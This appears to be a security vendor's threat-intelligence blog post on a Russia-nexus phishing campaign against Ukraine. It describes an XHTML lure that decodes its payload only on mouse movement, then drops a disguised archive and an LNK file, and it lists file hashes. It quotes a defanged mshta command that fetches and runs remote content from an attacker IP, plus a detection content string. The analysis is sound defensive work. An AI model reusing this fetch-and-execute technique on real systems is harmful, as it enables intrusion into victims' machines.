Armageddon is more than a Grammy-nominated album

Attackers and defenders are in a never ending cat-and-mouse game with vulnerabilities and countermeasures. Whether it be captchas, IP filtering, or password protection, threat actors are constantly looking for ways to aggravate detection – and irritate detection engineers. This Russia-nexus threat actor, targeting Ukraine, is no different.

TLDR: Be on the lookout for attacks that require you to jiggle the mouse before it will execute.

A customer recently asked about a curious file:

sha256	initial file that provided this thread
5cf828715c004f42eea066b4935511ecb42a4e150235faee482b06904af83cc7	Щодо_притягення_до_адміністративної_відповідальності.xhtml

Figure 1: Original sample

With the ongoing invasion of Ukraine by their neighbor, threat analysts have their antennae tuned towards Russia-nexus threats, and the relative (lack of) prevalence of this stood out:

Figure 2: xhtml file, with the middle trimmed for visibility

Right away, one can notice that the actor will replace “*” with ““, but only after “onmousemove” is triggered. When executing this in a sandbox environment, make sure you’ve implemented something like a mouse jiggler. This file, and all files referenced, are available in our github at the end of the post.

After decoding the above code, one can see what appears initially to be a “rar” being written

Figure 3: decoded blob from Figure 2, with trimmed base64 for formatting

Despite the rar header and extension, this writes a 7z. Additionally, there is a remote 1px image fetched, likely to track execution. Noteworthy for signature creators – this attacker is interested in you, even if you’re still running Windows CE! (this is likely a copy/paste artifact from another source). Another oddity is the usage of http instead of https. The past decade of broad technology improvements have made https nearly as easy to deploy as http, so the lack of interest in getting a free conforming cert, on a server you control, is unusual.

sha256	Filename
40f3e18c474e02c71620c611e2e3827793d7f07d26cc49396be500baa37dc872	03.05.2024.rar
21623210a29df18c000dbf3fcc5bb4885e8a03915f47b152a93a07f66eb2e90f	Матеріали щодо притягення до адміністративної відповідальності осіб за статтею 173-2 КУпАП.lnk (Materials on bringing persons to administrative responsibility under Article 173-2 of the Code of Administrative Offenses.lnk)

Figure 4: Dropped “rar” and compressed LNK

The lnk leverages mshta to execute remote content, C:\Windows\System32\mshta.exe http://185.225.19[.]69/gm/decency.zip and was created by the hostname desktop-u5gf4op

Figure 5: Chain of execution

Leveraging the host artifact in the LNK, and the content match color:#fff" onmousemove=, we can leverage CARA to surface other interesting samples.

Figure 6: CARA helping find similar samples (coming next month, early beta available)

Figure 7: Phishing email from their campaign, sourced from VirusTotal

Below we show the HTML files discovered by CARA, and their associated artifacts:

Vendor	Threat Actor name
Google Cloud Security (neé Mandiant)	UNC530, fingerprinting HTML: MACESWING
You?	Get in touch for blog pre-releases!

Figure 10: Other validated vendor names for this actor

Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.

Acknowledgements

The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.com if you have corrections, or would like to collaborate on research.